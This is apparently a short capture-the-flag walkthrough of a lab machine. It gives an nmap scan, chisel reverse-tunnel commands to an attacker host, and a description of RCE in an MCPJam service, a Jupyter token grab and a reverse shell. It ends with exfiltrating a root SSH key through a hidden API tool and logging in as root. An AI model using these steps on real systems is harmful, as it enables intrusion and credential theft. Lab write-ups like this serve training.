I used nmap and found 3 open ports.
nmap -p- --open -vvv -sS --min-rate 5000 -Pn 10.129.245.216 -oG allPorts.txt
I found an ssh port open and what look like 2 http servers.
Inside the port 6274 I found a MCPJam instance.
I remenber from Kobold that this service hava a RCE vuln.

Using this vulnerability, Im able to execute a shell.

I found some strange services in ports 8888 and 5000.

Using chisel I forwarded this services. - Attacker
chisel server --port 4000 --reverse
./chisel client 10.10.16.62:4000 R:5000:127.0.0.1:5000
Once forwarded port 5000 I found what looks like somo type of API.
But I need an API key to use it, and I have not this API key.
In port 8888 I found a jupyter instance.
Using ps aux, I found the jupyter token.
With that token, I was able to log in the noteboook.
Here, I was able to execute python code.
Using this app, I executed a reverse shell.

Inside opt I found /opt/opsmcp/server.py, where I can see some credentials.
Including an API key for the server in 5000.
Now, following the api instructions, now, I can use this API.
Reading the code again, I found some hidden tools.
Following the code instructions, I execute the tool _admin_dump to exfiltrate the ssh key.
Now, I clean the ssh key.
printf "%b" "$KEY" > id_rsa
And, using ssh, I can log as root.
ssh -i id_rsa root@10.129.245.216
